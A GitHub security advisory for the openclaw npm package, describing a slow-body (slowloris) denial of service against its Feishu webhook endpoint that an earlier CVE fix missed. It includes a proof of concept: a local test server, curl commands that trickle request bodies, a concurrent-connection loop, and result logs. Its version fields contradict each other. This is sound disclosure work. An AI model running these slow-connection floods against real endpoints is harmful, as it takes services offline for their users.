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OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Moderate severity GitHub Reviewed Published Mar 27, 2026 in openclaw/openclaw • Updated Apr 10, 2026

Package

npm openclaw (npm)

Affected versions

< 2026.3.24

Patched versions

2026.3.24

Description

Fixed in OpenClaw 2026.3.24, the current shipping release.

Advisory Details

Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Description:

Summary

The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.

Details

In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:

const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)

// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB
  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s
  responseFormat: "text",
});

The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:

  1. Any unauthenticated HTTP POST is accepted
  2. The server waits up to 30 seconds for the body to arrive
  3. Each connection can buffer up to 1MB
  4. Authentication only happens after the body is fully read

The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:

const PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s

The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.

Attack chain:

[Attacker sends slow HTTP POST to /feishu/events]
  → Rate limit check: passes (under 120 req/min)
  → Content-Type check: application/json, passes
  → installRequestBodyLimitGuard(1MB, 30s): installed
  → Body trickles at 1 byte/sec for 30 seconds
  → × 50 concurrent connections = connection exhaustion
  → Legitimate Feishu webhook deliveries blocked

PoC

Prerequisites: Docker installed.

Step 1: Create a minimal test server reproducing the vulnerable body parsing:

cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)

function bodyGuard(req, res, timeoutMs) {
  let done = false;
  const timer = setTimeout(() => {
    if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
  }, timeoutMs);
  req.on("end", () => { done = true; clearTimeout(timer); });
  req.on("close", () => { done = true; clearTimeout(timer); });
}

http.createServer((req, res) => {
  if (req.url === "/healthz") { res.end("OK"); return; }
  if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
  const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
  console.log(`[${req.url}] +conn`);
  bodyGuard(req, res, timeout);
  res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1

Step 2: Verify the vulnerability — slow body holds connection for the full timeout:

# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/feishu/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/patched/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

Step 3: Batch exploit — 10 concurrent slow connections:

for i in $(seq 1 10); do
  (echo -n 'A'; sleep 15) | \
    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
    -H "Content-Type: application/json" \
    -H "Content-Length: 65536" \
    --data-binary @- --max-time 35 &
done
wait

Log of Evidence

Exploit result (vulnerable /feishu/events):

=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10

  [conn-0] held open for 15.0s (15B sent) [SUCCESS]
  [conn-1] held open for 15.0s (15B sent) [SUCCESS]
  [conn-2] held open for 15.0s (15B sent) [SUCCESS]
  [conn-3] held open for 15.0s (15B sent) [SUCCESS]
  [conn-4] held open for 15.0s (15B sent) [SUCCESS]
  [conn-5] held open for 15.0s (15B sent) [SUCCESS]
  [conn-6] held open for 15.0s (15B sent) [SUCCESS]
  [conn-7] held open for 15.0s (15B sent) [SUCCESS]
  [conn-8] held open for 15.0s (15B sent) [SUCCESS]
  [conn-9] held open for 15.0s (15B sent) [SUCCESS]

=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!

Control result (patched /patched/events with 5s timeout):

=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events

  [conn-0] RESET after 8.0s (8B)
  [conn-1] RESET after 8.0s (8B)
  ...
  [conn-9] RESET after 8.0s (8B)

Avg connection hold time: 8.0s (5s timeout + stagger delay)

Server-side Docker logs confirming the discrepancy:

[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10)  ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19)  ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)

Impact

An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.

With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:

  • Exhaust the server's connection handling capacity for 30 seconds per wave
  • Block legitimate Feishu webhook deliveries (messages not reaching the bot)
  • Consume up to 50MB of memory (50 × 1MB buffer) per attack wave

The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.

Affected products

  • Ecosystem: npm
  • Package name: openclaw
  • Affected versions: <= 2026.2.22
  • Patched versions: None

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Weaknesses

  • CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink Description
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch.
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284).

References

@steipete steipete published to openclaw/openclaw Mar 27, 2026
Published to the GitHub Advisory Database Mar 30, 2026
Reviewed Mar 30, 2026
Published by the National Vulnerability Database Apr 10, 2026
Last updated Apr 10, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Asymmetric Resource Consumption (Amplification)

The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is asymmetric. Learn more on MITRE.

CVE ID

CVE-2026-35665

GHSA ID

GHSA-w6m8-cqvj-pg5v

Source code

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